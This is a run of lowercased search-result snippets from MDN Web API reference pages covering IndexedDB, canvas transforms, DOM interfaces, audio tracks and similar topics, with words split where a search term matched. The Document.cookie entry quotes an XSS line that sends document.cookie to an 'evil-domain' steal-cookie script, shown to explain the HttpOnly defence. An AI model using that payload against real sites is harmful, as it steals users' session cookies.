mmentary.
... this might be used to contain the director's co
mmentary track on a movie, for example.
... specifications specification status co
mment html living standardthe definition of 'audiotrack: kind' in that specification.
... reco
mmendation ...
AudioTrack.label - Web APIs
for example, a track whose kind is "co
mmentary" might have a label such as "co
mmentary with director mark markmarkimark and star donna donnalidon".
... function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "main-desc", "translation", "co
mmentary" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kind, and label.
... specifications specification status co
mment html living standardthe definition of 'audiotrack.label' in that specification.
... reco
mmendation ...
AuthenticatorResponse.clientDataJSON - Web APIs
tokenbindingid optional an object describing the state of the token binding protocol for the co
mmunication with the relying party.
... it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already id: a domstring which is the base64url encoding of the token binding id which was used for the co
mmunication.
...omise var clientdatastr = arraybuffertostr(pk.clientdatajson); var clientdataobj = json.parse(clientdatastr); console.log(clientdataobj.type); // "webauthn.create" or "webauthn.get" console.log(clientdataobj.challenge); // base64 encoded string containing the original challenge console.log(clientdataobj.origin); // the window.origin specifications specification status co
mment web authentication: an api for accessing public key credentials level 1the definition of 'clientdatajson' in that specification.
... reco
mmendation initial definition.
Background Tasks API - Web APIs
certainly most if not all code that is capable of making changes to the dom is running in the main thread, since it's co
mmon for user interface changes to only be available to the main thread.
...since we don't know at the time log() is called whether or not it's safe to i
mmediately touch the dom, we will cache the log text until it's safe to update.
...this element is a pseudo-dom into which we can insert elements without i
mmediately changing the main dom itself.
... specifications specification status co
mment cooperative scheduling of background tasks proposed reco
mmendation ...
Broadcast Channel API - Web APIs
the broadcast channel api allows basic co
mmunication between browsing contexts (that is, windows, tabs, frames, or iframes) and workers on the same origin.
...you don't have to maintain a reference to the frames or workers you wish to co
mmunicate with: they can “subscribe” to a particular channel by constructing their own broadcastchannel with the same name, and have bi-directional co
mmunication between all of them.
... // disconnect the channel bc.close(); conclusion the broadcast channel api's self-contained interface allows cross-context co
mmunication.
... specifications specification status co
mment html living standardthe definition of 'the broadcast channel api' in that specification.
CanvasPattern.setTransform() - Web APIs
the canvaspattern.settransform() method uses an svgmatrix or do
mmatrix object as the pattern's transformation matrix and invokes it on the pattern.
... syntax void pattern.settransform(matrix); parameters matrix an svgmatrix or do
mmatrix to use as the pattern's transformation matrix.
...id('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support do
mmatrix as an input to settransform(), so for example you could replace the svgmatrix in the above example with the following: const matrix = new do
mmatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="pl...
...anvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener('click', function() { textarea.focus(); }) textarea.addeventlistener('input', drawcanvas); window.addeventlistener('load', drawcanvas); specifications specification status co
mment html living standardthe definition of 'canvaspattern.settransform' in that specification.
CanvasRenderingContext2D.getTransform() - Web APIs
return value a do
mmatrix object.
... the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] note: the returned object is not live, so updating it will not affect the current transformation matrix, and updating the current transformation matrix will not affect an already returned do
mmatrix.
... we then apply the retrieved matrix directly to the second canvas context by passing the do
mmatrix object directly to settransform(), and draw a circle on it.
...nst ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result specifications specification status co
mment html living standardthe definition of 'canvasrenderingcontext2d.gettransform' in that specification.
CanvasRenderingContext2D.setTransform() - Web APIs
the newer type consists of a single parameter, matrix, representing a 2d transformation matrix to set (technically, a do
mmatrixinit object; any object will do as long as it contains the above components as properties).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.settransform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result retrieving and passing a do
mmatrix object in the following example, we have two <canvas> elements.
... we then apply the retrieved matrix directly to the second canvas context by passing the do
mmatrix object directly to settransform() (i.e.
...nst ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50); let storedtransform = ctx1.gettransform(); console.log(storedtransform); ctx2.settransform(storedtransform); ctx2.beginpath(); ctx2.arc(50, 50, 50, 0, 2 * math.pi); ctx2.fill(); result specifications specification status co
mment html living standardthe definition of 'canvasrenderingcontext2d.settransform' in that specification.
CharacterData - Web APIs
this is an abstract interface, meaning there aren't any object of type characterdata: it is implemented by other interfaces, like text, co
mment, or processinginstruction which aren't abstract.
... nondocumenttypechildnode.nextelementsibling read only returns the element i
mmediately following the specified one in its parent's children list, or null if the specified element is the last one in the list.
... nondocumenttypechildnode.previouselementsibling read only returns the element i
mmediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list.
... specifications specification status co
mment domthe definition of 'characterdata' in that specification.
Constraint validation API - Web APIs
even though client-side validation can prevent many co
mmon kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application.
... specifications specification status co
mment html living standardthe definition of 'constraint validation api' in that specification.
... reco
mmendation no change from the previous snapshot html5.
... reco
mmendation first snapshot of html living standard containing this interface.
Credential Management API - Web APIs
this is sometimes referred to as public suffix list (psl) matching; however the spec only reco
mmends using psl to determine the effective scope of a credential.
... publickeycredential provides a credential for logging in using an un-phishable and data-breach resistant asy
mmetric key pair instead of a password.
... specifications specification status co
mment credential management level 1 working draft initial definition.
... web authentication: an api for accessing public key credentials level 1 reco
mmendation initial definition.
CryptoKeyPair - Web APIs
the cryptokeypair dictionary of the web crypto api represents a key pair for an asy
mmetric cryptography algorithm, also known as a public-key algorithm.
... a cryptokeypair object can be obtained using subtlecrypto.generatekey(), when the selected algorithm is one of the asy
mmetric algorithms: rsassa-pkcs1-v1_5, rsa-pss, rsa-oaep, ecdsa, or ecdh.
...for example: subtlecrypto.generatekey() subtlecrypto.derivekey() subtlecrypto.importkey() subtlecrypto.exportkey() subtlecrypto.wrapkey() subtlecrypto.unwrapkey() subtlecrypto.encrypt() subtlecrypto.decrypt() subtlecrypto.sign() subtlecrypto.verify() specifications specification status co
mment web cryptography apithe definition of 'cryptokeypair' in that specification.
... reco
mmendation initial definition.
Document.cookie - Web APIs
the cookie value string can use encodeuricomponent() to ensure that the string does not contain any co
mmas, semicolons, or whitespace (which are disallowed in cookie values).
...co
mmon ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
...it is highly reco
mmended for you to use whatwg dom storage if you are going to keep "client-only" data.
...ml set-cookie: cookie_name1=cookie_value1 set-cookie: cookie_name2=cookie_value2; expires=sun, 16 jul 3567 06:23:41 gmt [content of the page here] the client sends back to the server its cookies previously stored get /sample_page.html http/1.1 host: www.example.org cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 accept: */* specifications specification status co
mment document object model (dom) level 2 html specificationthe definition of 'document.cookie' in that specification.
Document.querySelectorAll() - Web APIs
multiple selectors may be specified by separating them using co
mmas.
... examples obtaining a list of matches to obtain a nodelist of all of the <p> elements in the document: var matches = document.queryselectorall("p"); this example returns a list of all <div> elements within the document with a class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose i
mmediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test.
...you can use any co
mmon looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most co
mmon javascript dom libraries, which might lead to unexpected results.
... the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status co
mment domthe definition of 'parentnode.queryselectorall()' in that specification.
Document Object Model (DOM) - Web APIs
the document object model (dom) connects web pages to scripts or progra
mming languages by representing the structure of a document—such as the html representing a web page—in memory.
...dom methods allow progra
mmatic access to the tree.
... dom interfaces attr cdatasection characterdata childnode co
mment customevent document documentfragment documenttype domerror domexception domimplementation domstring domtimestamp domstringlist domtokenlist element event eventtarget htmlcollection mutationobserver mutationrecord namednodemap node nodefilter nodeiterator nodelist nondocumenttypechildnode parentnode processinginstruction selection range text textdecoder textencoder timeranges treewal...
...gdocument shadowanimation svgcolorprofilerule svgcssrule svgdocument svgexception svgexternalresourcesrequired svgfittoviewbox svglangspace svglocatable svgrenderingintent svgstylable svgtests svgtransformable svgunittypes svguseelementshadowroot svgurireference svgviewspec svgzoomandpan svgzoomevent specifications specification status co
mment dom living standard ...
EXT_disjoint_timer_query - Web APIs
the ext_disjoint_timer_query extension is part of the webgl api and provides a way to measure the duration of a set of gl co
mmands, without stalling the rendering pipeline.
... ext.beginqueryext() the timer starts when all co
mmands prior to beginqueryext have been fully executed.
... ext.endqueryext() the timer stops when all co
mmands prior to endqueryext have been fully executed.
... examples var ext = gl.getextension('ext_disjoint_timer_query'); specifications specification status co
mment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EffectTiming.fill - Web APIs
in this case, we have just two keyframes; the first defines what affect is applied to the element i
mmediately after the animation first begins to play, and the second defines the effect applied to the element in the last moment before it ends.
...var rabbitdownkeyframes = new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // set up the rabbit's animation to play on co
mmand by calling rabbitdownanimation.play() later var rabbitdownanimation = new animation(rabbitdownkeyframes, document.timeline); alternatives to fill modes fill modes are primarily provided as a means of representing the animation-fill-mode feature of css animations.
... elem.addeventlistener('click', async evt => { const animation = elem.animate( { transform: `translate(${evt.clientx}px, ${evt.clienty}px)` }, { duration: 800, fill: 'forwards' } ); await animation.finished; // co
mmitstyles will record the style up to and including `animation` and // update elem’s specified style with the result.
... animation.co
mmitstyles(); animation.cancel(); }); specifications specification status co
mment web animationsthe definition of 'fill' in that specification.
Element.getElementsByClassName() - Web APIs
as new elements that match names are added to the subtree, they i
mmediately appear in the collection.
... similarly, if an existing element that doesn't match names has its set of classes adjusted so that it matches, it i
mmediately appears in the collection.
... the opposite is also true; as elements no longer match the set of names, they are i
mmediately removed from the collection.
...here we'll find all <div> elements that have a class of test: var testelements = document.getelementsbyclassname('test'); var testdivs = array.prototype.filter.call(testelements, function(testelement) { return testelement.nodename === 'div'; }); specifications specification status co
mment domthe definition of 'element.getelementsbyclassname()' in that specification.
Event - Web APIs
it can also be triggered progra
mmatically, such as by calling the htmlelement.click() method of an element, or by defining the event, then sending it to a specified target using eventtarget.dispatchevent().
...event itself contains the properties and methods which are co
mmon to all events.
... event.stopi
mmediatepropagation() for this particular event, prevent all other listeners from being called.
... specifications specification status co
mment domthe definition of 'event' in that specification.
File.type - Web APIs
moreover, file.type is generally reliable only for co
mmon file types like images, html documents, audio and video.
... unco
mmon file extensions would return an empty string.
... client configuration (for instance, the windows registry) may result in unexpected values even for co
mmon types.
... specifications specification status co
mment file apithe definition of 'type' in that specification.
FontFace.display - Web APIs
the spec reco
mmends 3 seconds for the block period, though this may vary from browser to browser.
...the spec reco
mmends 100 ms or less for the block period and 3 seconds for the swap period, though these values may vary from browser to browser.
...the spec reco
mmends 100 ms or less, though this may vary from browser to browser.
... specifications specification status co
mment css font loading module level 3the definition of 'display' in that specification.
msAudioCategory - Web APIs
yes co
mmunications for streaming co
mmunication audio such as the following: voip real time chat or other type of phone calls should not be used in non-real-time or non-co
mmunication scenarios, such as audio and/or video playback, as playback startup latency is affected.
... *note that if msaudiocategory is set to co
mmunications, msrealtime is automatically set to true.
...game sound effects designed to mix with existing audio characters talking all non-music sounds no gamemedia background music played by a game no soundeffects game or other sound effects designed to mix with existing audio: characters talking beeps, dings, brief sounds no other default audio type, and reco
mmended for all audio media that does not need to continue playing in the background.
... no if msaudiodevicetype is not explicitly set, msaudiodevicetype will be set to co
mmunications.
HTMLAudioElement - Web APIs
examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a co
mmon gotcha is trying to play an audio element i
mmediately on page load.
... some of the more co
mmonly used properties of the audio element include src, currenttime, duration, paused, muted, and volume.
... specifications specification status co
mment html living standardthe definition of 'htmlaudioelement' in that specification.
... reco
mmendation ...
HTMLDetailsElement: toggle event - Web APIs
html <aside id="log"> <b>open chapters:</b> <div data-id="ch1" hidden>i</div> <div data-id="ch2" hidden>ii</div> <div data-id="ch3" hidden>iii</div> </aside> <section id="su
mmaries"> <b>chapter su
mmaries:</b> <details id="ch1"> <su
mmary>chapter i</su
mmary> philosophy reproves boethius for the foolishness of his complaints against fortune.
... </details> <details id="ch2"> <su
mmary>chapter ii</su
mmary> philosophy in fortune's name replies to boethius' reproaches, and proves that the gifts of fortune are hers to give and to take away.
... </details> <details id="ch3"> <su
mmary>chapter iii</su
mmary> boethius falls back upon his present sense of misery.
... </details> </section> css body { display: flex; flex-direction: row-reverse; } #log { flex-shrink: 0; padding-left: 3em; } #su
mmaries { flex-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications specification status co
mment html living standardthe definition of 'toggle event' in that specification.
HTMLFormElement: reset event - Web APIs
time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('reset', logreset); result specifications specification status co
mment html living standardthe definition of 'reset' in that specification.
... reco
mmendation no change html 5.1the definition of 'reset' in that specification.
... reco
mmendation added info that the event is not trusted.
... reco
mmendation initial definition ...
HTMLFormElement: submit event - Web APIs
time stamp: ${event.timestamp}`; event.preventdefault(); } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('submit', logsubmit); result specifications specification status co
mment html living standardthe definition of 'submit' in that specification.
... reco
mmendation no change html 5.1the definition of 'submit' in that specification.
... reco
mmendation no change html5the definition of 'submit' in that specification.
... reco
mmendation initial definition ...
HTMLFrameSetElement - Web APIs
htmlframesetelement.cols is a domstring structured as a co
mma-seperated list specifing the width of each column inside a frameset.
... htmlframesetelement.rows is a domstring structured as a co
mma-seperated list specifing the height of each column inside a frameset.
... specifications specification status co
mment html living standardthe definition of 'htmlframesetelement' in that specification.
... reco
mmendation snapshot of a previous html living standard frames are now obsolete.
HTMLImageElement.complete - Web APIs
but imagine that you have other code that needs to only run when the image has completed loading, such as a co
mmand that performs red-eye removal on the image in the lightbox.
... while ideally this co
mmand wouldn't even be executed if the image hasn't fully loaded, for improved reliability you want to check to ensure this is the case.
... so the fixredeyeco
mmand() function, which is called by the button that triggers red-eye removal, checks the value of the lightbox image's complete property before attempting to do its work.
...*/ function fixredeyeco
mmand() { if (lightboxelem.style.display === "block" && lightboximgelem.complete) { fixredeye(lightboximgelem); } else { /* can't start doing this until the image is fully loaded */ } } specifications specification status co
mment html living standardthe definition of 'htmlimageelement.complete' in that specification.
HTMLInputElement: invalid event - Web APIs
bubbles no cancelable yes interface event event handler property globaleventhandlers.oninvalid this event can be useful for displaying a su
mmary of the problems with a form on submission.
...er" min="1" max="10" required></label></li> <li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p> javascript const input = document.queryselector('input') const log = document.getelementbyid('log') input.addeventlistener('invalid', logvalue) function logvalue(e) { log.textcontent += e.target.value } result specifications specification status co
mment html living standardthe definition of 'invalid event' in that specification.
... reco
mmendation html5the definition of 'invalid event' in that specification.
... reco
mmendation ...
HTMLMarqueeElement - Web APIs
examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status co
mment html living standardthe definition of 'htmlmarqueeelement' in that specification.
... reco
mmendation no changes.
... reco
mmendation no changes.
... reco
mmendation made obsolete in favor of css but define its expected behavior for backward compatibility.
HTMLOrForeignElement.dataset - Web APIs
camelcase to dash-style conversion the opposite transformation, which maps a key to an attribute name, uses the following rules: restriction: before the transformation, a dash must not be i
mmediately followed by an ascii lowercase letter a to z; the prefix data- is added; any ascii uppercase letter a to z is transformed into a dash, followed by its lowercase counterpart; other characters are left unchanged.
...t.dateofbirth === '' // set the data attribute el.dataset.dateofbirth = '1960-10-03'; // result: el.dataset.dateofbirth === 1960-10-03 delete el.dataset.dateofbirth; // result: el.dataset.dateofbirth === undefined // 'somedataattr' in el.dataset === false el.dataset.somedataattr = 'mydata'; // result: 'somedataattr' in el.dataset === true specifications specification status co
mment html living standardthe definition of 'htmlelement.dataset' in that specification.
... reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'htmlelement.dataset' in that specification.
... reco
mmendation snapshot of html living standard, initial definition.
HTMLSpanElement - Web APIs
specifications specification status co
mment html living standardthe definition of 'htmlspanelement' in that specification.
... reco
mmendation html 5.1the definition of 'htmlspanelement' in that specification.
... reco
mmendation html5the definition of 'htmlspanelement' in that specification.
... reco
mmendation initial definition, as <span> was associated with an htmlelement before that.
HTMLStyleElement.media - Web APIs
syntax medium = style.media style.media = medium parameters medium is a string describing a single medium or a co
mma-separated list.
...screen" /> <style id="inlinestyle" rel="stylesheet" type="text/css" media="screen, print"> p { color: blue; } </style> </head> <body> <script> alert('linkedstyle: ' + document.getelementbyid('linkedstyle').media); // 'screen' alert('inlinestyle: ' + document.getelementbyid('inlinestyle').media); // 'screen, print' </script> </body> </html> specifications specification status co
mment html living standardthe definition of 'htmlstyleelement' in that specification.
... reco
mmendation html5the definition of 'htmlstyleelement' in that specification.
... reco
mmendation document object model (dom) level 2 html specificationthe definition of 'htmlstyleelement' in that specification.
IDBCursor.continue() - Web APIs
if no key is specified, the cursor advances to the i
mmediate next position, based on its direction.
...success = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'continue()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'continue()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBDatabase.close() - Web APIs
the close() method of the idbdatabase interface returns i
mmediately and closes the connection in a separate thread.
... db.close(); }; specification specification status co
mment indexed database api 2.0the definition of 'close()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'close()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBDatabase.transaction() - Web APIs
the transaction method of the idbdatabase interface i
mmediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store.
... specification specification status co
mment indexed database api 2.0the definition of 'transaction()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'transaction()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBFactory.deleteDatabase() - Web APIs
the method returns an idbopendbrequest object i
mmediately, and performs the deletion operation asynchronously.
... example var dbdeleterequest = window.indexeddb.deletedatabase("todolist"); dbdeleterequest.onerror = function(event) { console.log("error deleting database."); }; dbdeleterequest.onsuccess = function(event) { console.log("database deleted successfully"); console.log(event.result); // should be undefined }; specifications specification status co
mment indexed database api draftthe definition of 'deletedatabase()' in that specification.
... reco
mmendation indexed database api 2.0the definition of 'deletedatabase()' in that specification.
... reco
mmendation initial definition.
IDBFactory.open() - Web APIs
the method returns an idbopendbrequest object i
mmediately, and performs the open operation asynchronously.
... db = dbopenrequest.result; }; specifications specification status co
mment indexed database api 2.0the definition of 'open()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'open()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.clear() - Web APIs
the clear() method of the idbobjectstore interface creates and i
mmediately returns an idbrequest object, and clears this object store in a separate thread.
...on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to clear all the data out of the object store var objectstorerequest = objectstore.clear(); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'clear()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'clear()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore - Web APIs
idbobjectstore.clear() creates and i
mmediately returns an idbrequest object, and clears this object store in a separate thread.
...t allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { note.innerhtml += '<li>request successful .</li>'; } specifications specification status co
mment indexed database api 2.0the definition of 'idbobjectstore' in that specification.
... reco
mmendation indexed database api draftthe definition of 'idbobjectstore' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest - Web APIs
all asynchronous operations i
mmediately return an idbrequest instance.
... db = dbopenrequest.result; }; specifications specification status co
mment indexed database api 2.0the definition of 'idbrequest' in that specification.
... reco
mmendation initial definition.
... reco
mmendation ...
IDBTransaction.abort() - Web APIs
syntax transaction.abort(); exceptions this method may raise a domexception of the following type: exception description invalidstateerror the transaction has already been co
mmitted or aborted.
...ewitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status co
mment indexed database api 2.0the definition of 'abort()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'abort()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBTransaction.error - Web APIs
this property is null if the transaction is not finished, is finished and successfully co
mmitted, or was aborted with the idbtransaction.abort method.
...the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'error' in that specification.
... reco
mmendation indexed database api draftthe definition of 'error' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
Basic concepts - Web APIs
it used to include a synchronous version also, for use in web workers, but this was removed from the spec due to lack of interest by the web co
mmunity.
...thus, you cannot execute co
mmands or open cursors outside of a transaction.
...also, transactions auto-co
mmit and cannot be co
mmitted manually.
...dom events always have a type property (in indexeddb, it is most co
mmonly set to "success" or "error").
IndexedDB API - Web APIs
if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more progra
mmer-friendly.
...indexeddb is most co
mmonly talked about.
...this method returns an idbrequest object; asynchronous operations co
mmunicate to the calling application by firing events on idbrequest objects.
... storing images and files in indexeddb specifications specification status co
mment indexed database api draft reco
mmendation indexed database api 2.0 reco
mmendation initial definition ...
MediaList.mediaText - Web APIs
each one is separated by a co
mma, for example screen and (min-width: 480px), print.
... if you wish to set new media queries on the document, the string value must have the different queries separated by co
mmas, e.g.
...note that the medialist is a live list; updating the list via mediatext will i
mmediately update the behavior of the document.
... const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status co
mment css object model (cssom)the definition of 'mediatext' in that specification.
MediaStreamTrack.stop() - Web APIs
since multiple tracks may use the same source (for example, if two tabs are using the device's microphone), the source itself isn't necessarily i
mmediately stopped.
... i
mmediately after calling stop(), the readystate property is set to ended.
... specifications specification status co
mment media capture and streamsthe definition of 'mediastreamtrack.stop()' in that specification.
... candidate reco
mmendation initial specification.
MediaTrackSettings.sampleSize - Web APIs
the most co
mmonly used sample size for many years now is 16 bits per sample, which was used for cd audio among others.
... other co
mmon sample sizes are 8 (for reduced bandwidth requirements) and 24 (for high-resolution professional audio).
... specifications specification status co
mment media capture and streamsthe definition of 'samplesize' in that specification.
... candidate reco
mmendation initial specification.
Media Source API - Web APIs
while browser support for the various media containers with mse is spotty, usage of the h.264 video codec, aac audio codec, and mp4 container format is a co
mmon baseline.
... the two most co
mmon use cases for dash involve watching content “on demand” or “live.” on demand allows a developer to take their time transcoding the assets into multiple resolutions of various quality.
... live profile content can introduce latency due to its transcoding and broadcasting, so dash is not suitable for real time co
mmunication like webrtc is.
... specifications specification status co
mment media source extensions reco
mmendation initial definition.
Capabilities, constraints, and settings - Web APIs
applying constraints the first and most co
mmon way to use constraints is to specify them when you call getusermedia(): navigator.mediadevices.getusermedia({ video: { width: { min: 640, ideal: 1920 }, height: { min: 400, ideal: 1080 }, aspectratio: { ideal: 1.7777777778 } }, audio: { samplesize: 16, channelcount: 2 } }).then(stream => { videoelement.srcobject = stream; }).catch(handleerror); in this example, ...
... let videodefaultconstraintstring = '{\n "width": 320,\n "height": 240,\n "framerate": 30\n}'; let audiodefaultconstraintstring = '{\n "samplesize": 16,\n "channelcount": 2,\n "echocancellation": false\n}'; these defaults ask for a pretty co
mmon camera configuration, but don't insist on any property being of special importance.
... specifications specification status co
mment media capture and streamsthe definition of 'constrainable pattern' in that specification.
... candidate reco
mmendation initial definition.
MouseEvent - Web APIs
co
mmon events using this interface include click, dblclick, mouseup, mousedown.
... example this example demonstrates simulating a click (that is progra
mmatically generating a click event) on a checkbox using dom methods.
...ementbyid("checkbox"); //element to click on var canceled = !cb.dispatchevent(evt); if(canceled) { // a handler called preventdefault alert("canceled"); } else { // none of the handlers called preventdefault alert("not canceled"); } } document.getelementbyid("button").addeventlistener('click', simulateclick); result specifications specification status co
mment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
... candidate reco
mmendation from document object model (dom) level 3 events specification, added movementx and movementy properties.
Node.nodeType - Web APIs
it distinguishes different kind of nodes from each other, such as elements, text and co
mments.
... node.co
mment_node 8 a co
mment node, such as <!-- … -->.
... different types of nodes document.nodetype === node.document_node; // true document.doctype.nodetype === node.document_type_node; // true document.createdocumentfragment().nodetype === node.document_fragment_node; // true var p = document.createelement("p"); p.textcontent = "once upon a time…"; p.nodetype === node.element_node; // true p.firstchild.nodetype === node.text_node; // true co
mments this example checks if the first node inside the document element is a co
mment, and displays a message if not.
... var node = document.documentelement.firstchild; if (node.nodetype !== node.co
mment_node) { console.warn("you should co
mment your code!"); } specifications specification status co
mment domthe definition of 'node.nodetype' in that specification.
Using the Notifications API - Web APIs
this is a co
mmon requirement when an api tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications.
...this is not only best practice — you should not be spa
mming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notification permission requests not triggered in response to a user gesture.
...to avoid spa
mming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or multiple pending notifications with a new one.
...; } }, 200); } // otherwise, we can fallback to a regular modal alert else { alert("hi!"); } }); } // if the user refuses to get notified else { // we can fallback to a regular modal alert alert("hi!"); } }); }); see the live result below: specifications specification status co
mment notifications api living standard living standard ...
ParentNode.querySelectorAll() - Web APIs
multiple selectors may be specified by separating them using co
mmas.
... examples to obtain a nodelist of all of the <p> elements in the document: var matches = document.queryselectorall("p"); this example returns a list of all <div> elements within the document with a class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose i
mmediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test.
...= document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most co
mmon javascript dom libraries, which might lead to unexpected results.
... the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status co
mment domthe definition of 'parentnode.queryselectorall()' in that specification.
PaymentAddress.toJSON() - Web APIs
specifications specification status co
mment web idlthe definition of 'tojson()' in that specification.
... candidate reco
mmendation initial definition.
...requires the co
mma-delineated list in dom.payments.request.supportedregions to contain one or more of the supported 2-character iso locales, currently us and ca.disabled from version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...requires the co
mma-delineated list in dom.payments.request.supportedregions to contain one or more of the supported 2-character iso locales, currently us and ca.disabled from version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentRequest.show() - Web APIs
usage notes the most co
mmon patterns for using show() involve either the async/await syntax or the use of show().then().catch() to handle the response and any possible rejection.
... instead of i
